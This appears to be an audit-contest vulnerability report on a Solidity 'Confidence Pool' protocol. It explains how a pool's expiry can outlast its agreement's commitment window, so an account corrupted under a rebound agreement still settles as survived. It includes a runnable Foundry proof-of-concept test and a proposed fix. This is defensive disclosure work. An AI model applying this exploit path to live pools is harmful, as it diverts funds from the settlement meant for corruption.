FoundrySolidityLayer 2
7.25 ETH
Submission Details
Impact: high
Likelihood: low

Pool Expiry Can Outlive Agreement Commitment, Allowing Scoped-Account Corruption to Settle as Survived

Author Revealed upon completion

Root + Impact

Description

Confidence Pools let stakers underwrite a fixed pool scope for the pool term. Once risk is observed, that scope is locked and the moderator is expected to classify whether a later CORRUPTED agreement state affected the pool's published scope.

However, pool creation and expiry updates do not require the Safe Harbor agreement commitment window to cover the pool expiry. A sponsor can create a pool for agreement A scoped to account X with a pool expiry later than IAgreement(A).getCantChangeUntil(). After the agreement commitment expires, the agreement owner can remove X from agreement A while leaving another account in A, bind X under agreement B, and then have X corrupted under B before the old pool expires.

The old pool still resolves only the original agreement A. The moderator cannot flag the old pool as CORRUPTED unless A itself is CORRUPTED, and claimExpired() also reads only A. Therefore the old pool can pay stakers principal plus bonus even though the account published in the pool scope was corrupted during the pool term.

The factory creation path in ConfidencePoolFactory.sol::createPool validates agreement ownership and validity, but not agreement commitment coverage:

function createPool(
address agreement,
address stakeToken,
uint256 expiry,
uint256 minStake,
address recoveryAddress,
address[] calldata accounts
) external whenNotPaused returns (address pool) {
if (agreement == address(0) || stakeToken == address(0)) revert ZeroAddress();
if (recoveryAddress == address(0)) revert ZeroAddress();
if (!allowedStakeToken[stakeToken]) revert StakeTokenNotAllowed();
if (expiry < block.timestamp + _MIN_EXPIRY_LEAD) revert ExpiryTooSoon();
if (!safeHarborRegistry.isAgreementValid(agreement)) revert InvalidAgreement();
if (IAgreement(agreement).owner() != msg.sender) revert UnauthorizedCreator();
bytes32 salt = keccak256(abi.encode(agreement, _poolsByAgreement[agreement].length));
pool = Clones.cloneDeterministic(poolImplementation, salt);
IConfidencePool(pool)
.initialize(
agreement,
stakeToken,
address(safeHarborRegistry),
defaultOutcomeModerator,
expiry,
minStake,
recoveryAddress,
msg.sender,
accounts
);
_poolsByAgreement[agreement].push(pool);
}

createPool() checks a 30 day minimum pool lead, agreement validity, and agreement ownership, but never checks that IAgreement(agreement).getCantChangeUntil() is at least the chosen pool expiry.

The pool initializer in ConfidencePool.sol::initialize repeats pool-level validity checks without binding expiry to agreement commitment:

function initialize(
address agreement_,
address stakeToken_,
address safeHarborRegistry_,
address outcomeModerator_,
uint256 expiry_,
uint256 minStake_,
address recoveryAddress_,
address owner_,
address[] calldata accounts
) external initializer {
if (expiry_ < block.timestamp + _MIN_EXPIRY_LEAD) revert ExpiryTooSoon();
if (expiry_ > type(uint32).max) revert ExpiryTooFar();
if (!IBattleChainSafeHarborRegistry(safeHarborRegistry_).isAgreementValid(agreement_)) {
revert InvalidAgreement();
}
agreement = agreement_;
expiry = uint32(expiry_);
_replaceScope(accounts);
}

The mutable expiry setter is ConfidencePool.sol::setExpiry:

function setExpiry(uint256 newExpiry) external onlyOwner {
if (expiryLocked) revert ExpiryLocked();
if (newExpiry < block.timestamp + _MIN_EXPIRY_LEAD) revert ExpiryTooSoon();
if (newExpiry > type(uint32).max) revert ExpiryTooFar();
expiry = uint32(newExpiry);
emit ExpiryUpdated(oldExpiry, newExpiry);
}

initialize() and pre-stake setExpiry() repeat the pool lead checks, but also do not bind the pool term to the agreement commitment.

The agreement exposes its commitment deadline through Agreement.sol::getCantChangeUntil:

function getCantChangeUntil() external view returns (uint256) {
return s_cantChangeUntil;
}

After that deadline, Agreement.sol::removeAccounts permits scope reduction while preserving at least one account:

function removeAccounts(string memory caip2ChainId, string[] memory accountAddresses) external onlyOwner {
if (block.timestamp < s_cantChangeUntil) {
revert Agreement__CannotReduceScopeDuringCommitment();
}
if (accountAddresses.length >= s_accounts[caip2ChainId].length) {
revert Agreement__CannotRemoveAllAccounts(caip2ChainId);
}
bool isBattleChain = _isBattleChainId(caip2ChainId);
for (uint256 i; i < accountAddresses.length; ++i) {
if (isBattleChain) {
_removeFromBattleChainScope(accountAddresses[i]);
}
}
}

After the commitment window, Safe Harbor allows unfavorable scope removal as long as at least one account remains.

The registry binding can then be cleared by AttackRegistry.sol::unregisterContractForExistingAgreement:

function unregisterContractForExistingAgreement(address contractAddress) external {
if (!s_agreementFactory.isAgreementContract(msg.sender)) {
revert AttackRegistry__InvalidAgreement(msg.sender);
}
if (!s_agreementInfo[msg.sender].isRegistered) return;
if (s_contractToAgreement[contractAddress] != msg.sender) return;
delete s_contractToAgreement[contractAddress];
emit ContractUnregistered(contractAddress, msg.sender);
}

When the account is removed from agreement A, its binding can be cleared and later set to another agreement.

The pool still reads only its original agreement in ConfidencePool.sol::_getAgreementState:

function _getAgreementState() internal view returns (IAttackRegistry.ContractState) {
address attackRegistry = safeHarborRegistry.getAttackRegistry();
if (attackRegistry == address(0)) revert InvalidAgreement();
return IAttackRegistry(attackRegistry).getAgreementState(agreement);
}

The CORRUPTED moderator gate in ConfidencePool.sol#L341-L348 also depends on that original agreement state:

} else if (newOutcome == PoolStates.Outcome.CORRUPTED) {
if (!goodFaith_) {
if (attacker_ != address(0)) revert InvalidGoodFaithParams();
} else {
if (attacker_ == address(0)) revert InvalidGoodFaithParams();
}
if (state != IAttackRegistry.ContractState.CORRUPTED) revert InvalidOutcome();
}

The pool keeps reading agreement A, and the moderator cannot choose CORRUPTED unless agreement A itself is corrupted. Corruption of X under the new binding agreement B is invisible to the old pool's settlement gate.

Risk

Likelihood: Low

  • An agreement is registered with a Safe Harbor commitment shorter than the Confidence Pool term. This is reachable because the Safe Harbor registry minimum commitment is 7 days while the pool minimum expiry lead is 30 days.

  • The agreement owner removes a pool-scoped account after getCantChangeUntil() while another account remains in the original agreement.

  • The removed account is rebound under another agreement and is corrupted before the old pool expires.

Impact: High

  • The old pool can pay stakers principal plus bonus even though the account published in the pool scope was corrupted during the pool term.

  • Funds that should be subject to a CORRUPTED settlement are routed through the survived or expired payout path.

  • The pool's local scope commitment cannot be enforced by the moderator because flagOutcome(CORRUPTED, ...) is gated on the original agreement state, not on the current binding agreement of the scoped account.

Proof of Concept

The PoC file included with this report is:

AgreementCommitmentExpiryRebindPoC.t.sol

To run it in a fresh contest checkout:

  1. Copy AgreementCommitmentExpiryRebindPoC.t.sol into the repository's test/ directory.

  2. Run:

forge test --match-contract AgreementCommitmentExpiryRebindPoC -vv

Expected result:

1 passed, 0 failed

The PoC demonstrates:

  • Agreement A has cantChangeUntil = now + 7 days, while the pool expiry is now + 31 days.

  • The pool is created for agreement A with scope [X], while agreement A also retains another account so later removal of X models the real Safe Harbor non-empty-account requirement.

  • Stakers deposit 100 tokens and a bonus contributor deposits 50 tokens.

  • Agreement A enters active risk, so the pool scope locks and the risk window starts.

  • After agreement A's commitment expires, X is removed from A and added to agreement B.

  • Agreement B becomes CORRUPTED, while agreement A reaches PRODUCTION.

  • The moderator cannot flag the old pool as CORRUPTED because the pool only reads agreement A.

  • The old pool resolves as SURVIVED and pays all 150 tokens to the staker.

Inline PoC source (AgreementCommitmentExpiryRebindPoC.t.sol):

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import {Test} from "forge-std/Test.sol";
import {ERC1967Proxy} from "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
import {ConfidencePool} from "src/ConfidencePool.sol";
import {ConfidencePoolFactory} from "src/ConfidencePoolFactory.sol";
import {IConfidencePool} from "src/interfaces/IConfidencePool.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
import {MockERC20} from "test/mocks/MockERC20.sol";
import {MockSafeHarborRegistry} from "test/mocks/MockSafeHarborRegistry.sol";
contract PerAgreementAttackRegistry {
mapping(address agreement => IAttackRegistry.ContractState state) internal states;
function setAgreementState(address agreement, IAttackRegistry.ContractState state) external {
states[agreement] = state;
}
function getAgreementState(address agreement) external view returns (IAttackRegistry.ContractState) {
return states[agreement];
}
}
contract MutableAgreementWithCommitment {
address public owner;
uint256 public cantChangeUntil;
mapping(address account => bool inScope) internal scope;
constructor(address owner_, uint256 cantChangeUntil_) {
owner = owner_;
cantChangeUntil = cantChangeUntil_;
}
function setContractInScope(address account, bool inScope) external {
scope[account] = inScope;
}
function isContractInScope(address account) external view returns (bool) {
return scope[account];
}
function getCantChangeUntil() external view returns (uint256) {
return cantChangeUntil;
}
}
contract AgreementCommitmentExpiryRebindPoC is Test {
uint256 internal constant ONE = 1e18;
address internal constant SCOPED_ACCOUNT = address(0xC0FFEE);
address internal constant REMAINING_ACCOUNT = address(0xBEEF);
MockERC20 internal token;
MockSafeHarborRegistry internal safeHarborRegistry;
PerAgreementAttackRegistry internal attackRegistry;
ConfidencePoolFactory internal factory;
address internal sponsor = makeAddr("sponsor");
address internal moderator = makeAddr("moderator");
address internal recovery = makeAddr("recovery");
address internal staker = makeAddr("staker");
address internal bonusContributor = makeAddr("bonusContributor");
function setUp() external {
vm.warp(1_750_000_000);
token = new MockERC20();
safeHarborRegistry = new MockSafeHarborRegistry();
attackRegistry = new PerAgreementAttackRegistry();
safeHarborRegistry.setAttackRegistry(address(attackRegistry));
ConfidencePool poolImplementation = new ConfidencePool();
ConfidencePoolFactory factoryImplementation = new ConfidencePoolFactory();
ERC1967Proxy proxy = new ERC1967Proxy(
address(factoryImplementation),
abi.encodeCall(
ConfidencePoolFactory.initialize,
(address(safeHarborRegistry), address(poolImplementation), moderator)
)
);
factory = ConfidencePoolFactory(address(proxy));
factory.setStakeTokenAllowed(address(token), true);
}
function testPoolPaysAfterScopedAccountCorruptsUnderReboundAgreement() external {
uint256 cantChangeUntil = block.timestamp + 7 days;
uint256 poolExpiry = block.timestamp + 31 days;
assertLt(cantChangeUntil, poolExpiry);
MutableAgreementWithCommitment agreementA =
new MutableAgreementWithCommitment(sponsor, cantChangeUntil);
MutableAgreementWithCommitment agreementB =
new MutableAgreementWithCommitment(sponsor, block.timestamp + 60 days);
agreementA.setContractInScope(SCOPED_ACCOUNT, true);
agreementA.setContractInScope(REMAINING_ACCOUNT, true);
safeHarborRegistry.setAgreementValid(address(agreementA), true);
safeHarborRegistry.setAgreementValid(address(agreementB), true);
attackRegistry.setAgreementState(address(agreementA), IAttackRegistry.ContractState.NEW_DEPLOYMENT);
address[] memory scope = new address[](1);
scope[0] = SCOPED_ACCOUNT;
vm.prank(sponsor);
address poolAddress = factory.createPool(
address(agreementA),
address(token),
poolExpiry,
ONE,
recovery,
scope
);
ConfidencePool pool = ConfidencePool(poolAddress);
token.mint(staker, 100 * ONE);
vm.startPrank(staker);
token.approve(address(pool), 100 * ONE);
pool.stake(100 * ONE);
vm.stopPrank();
token.mint(bonusContributor, 50 * ONE);
vm.startPrank(bonusContributor);
token.approve(address(pool), 50 * ONE);
pool.contributeBonus(50 * ONE);
vm.stopPrank();
attackRegistry.setAgreementState(address(agreementA), IAttackRegistry.ContractState.UNDER_ATTACK);
pool.pokeRiskWindow();
assertTrue(pool.isAccountInScope(SCOPED_ACCOUNT));
// After agreement A's commitment expires, the Safe Harbor agreement owner can remove the
// pool-scoped account from A while another A account remains, then bind it to B. The real
// Agreement.removeAccounts path also unregisters the account from A in AttackRegistry; this
// local mock models the resulting states.
vm.warp(cantChangeUntil + 1);
agreementA.setContractInScope(SCOPED_ACCOUNT, false);
assertTrue(agreementA.isContractInScope(REMAINING_ACCOUNT), "agreement A remains non-empty");
agreementB.setContractInScope(SCOPED_ACCOUNT, true);
// The scoped account is corrupted under the new binding agreement B.
attackRegistry.setAgreementState(address(agreementB), IAttackRegistry.ContractState.CORRUPTED);
attackRegistry.setAgreementState(address(agreementA), IAttackRegistry.ContractState.PRODUCTION);
// The old pool cannot be marked CORRUPTED because it reads only agreement A.
vm.prank(moderator);
vm.expectRevert(IConfidencePool.InvalidOutcome.selector);
pool.flagOutcome(PoolStates.Outcome.CORRUPTED, false, address(0));
vm.warp(poolExpiry);
uint256 beforeBalance = token.balanceOf(staker);
vm.prank(staker);
pool.claimExpired();
assertEq(uint256(pool.outcome()), uint256(PoolStates.Outcome.SURVIVED));
assertEq(token.balanceOf(staker) - beforeBalance, 150 * ONE);
assertEq(token.balanceOf(recovery), 0);
}
}

Recommended Mitigation

Require the agreement commitment window to cover the pool expiry anywhere the pool expiry can be set.

function createPool(...) external returns (address pool) {
if (expiry < block.timestamp + _MIN_EXPIRY_LEAD) revert ExpiryTooSoon();
if (!safeHarborRegistry.isAgreementValid(agreement)) revert InvalidAgreement();
if (IAgreement(agreement).owner() != msg.sender) revert UnauthorizedCreator();
+ if (IAgreement(agreement).getCantChangeUntil() < expiry) {
+ revert AgreementCommitmentTooShort();
+ }
}

The same check should be repeated in ConfidencePool.initialize() as defense in depth and in setExpiry() while expiry is still mutable.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!